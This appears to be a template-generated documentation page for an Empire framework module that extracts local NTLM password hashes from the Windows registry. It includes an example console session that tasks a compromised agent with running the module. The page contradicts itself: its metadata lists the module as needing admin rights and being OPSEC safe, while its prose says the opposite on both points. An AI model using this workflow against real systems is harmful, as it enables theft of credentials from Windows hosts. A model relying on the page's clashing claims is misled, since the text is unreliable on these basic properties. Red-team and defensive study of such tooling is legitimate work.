Invoke-NTLMExtract - Empire Module


This page contains detailed information about how to use the powershell/credentials/invoke_ntlmextract Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-NTLMExtract
Module: powershell/credentials/invoke_ntlmextract
Source code [1]: empire/server/modules/powershell/credentials/invoke_ntlmextract.yaml
Source code [2]: empire/server/data/module_source/credentials/Invoke-NTLMExtract.ps1
MITRE ATT&CK: T1003
Language: PowerShell
Needs admin: Yes
OPSEC safe: Yes
Background: Yes

The invoke_ntlmextract module extracts local NTLM password hashes from the registry.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_ntlmextract module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the invoke_ntlmextract module:

Agent
Agent to run module on.

Invoke_ntlmextract Example Usage

Here's an example of how to use the invoke_ntlmextract module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/credentials/invoke_ntlmextract

 Author       Tobias Heilig                                                          
 Background   True                                                                   
 Comments     https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/Powershe 
              llScripts/NTLMExtract.ps1                                              
 Description  Extract local NTLM password hashes from the registry.                  
 Language     powershell                                                             
 Name         powershell/credentials/invoke_ntlmextract                              
 NeedsAdmin   True                                                                   
 OpsecSafe    True                                                                   
 Techniques   http://attack.mitre.org/techniques/T1003                               


,Record Options-,----------,-------------------------,
| Name  | Value | Required | Description             |
|-------|-------|----------|-------------------------|
| Agent |       | True     | Agent to run module on. |
'-------'-------'----------'-------------------------'

(Empire: usemodule/powershell/credentials/invoke_ntlmextract) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/credentials/invoke_ntlmextract) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • Tobias Heilig

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.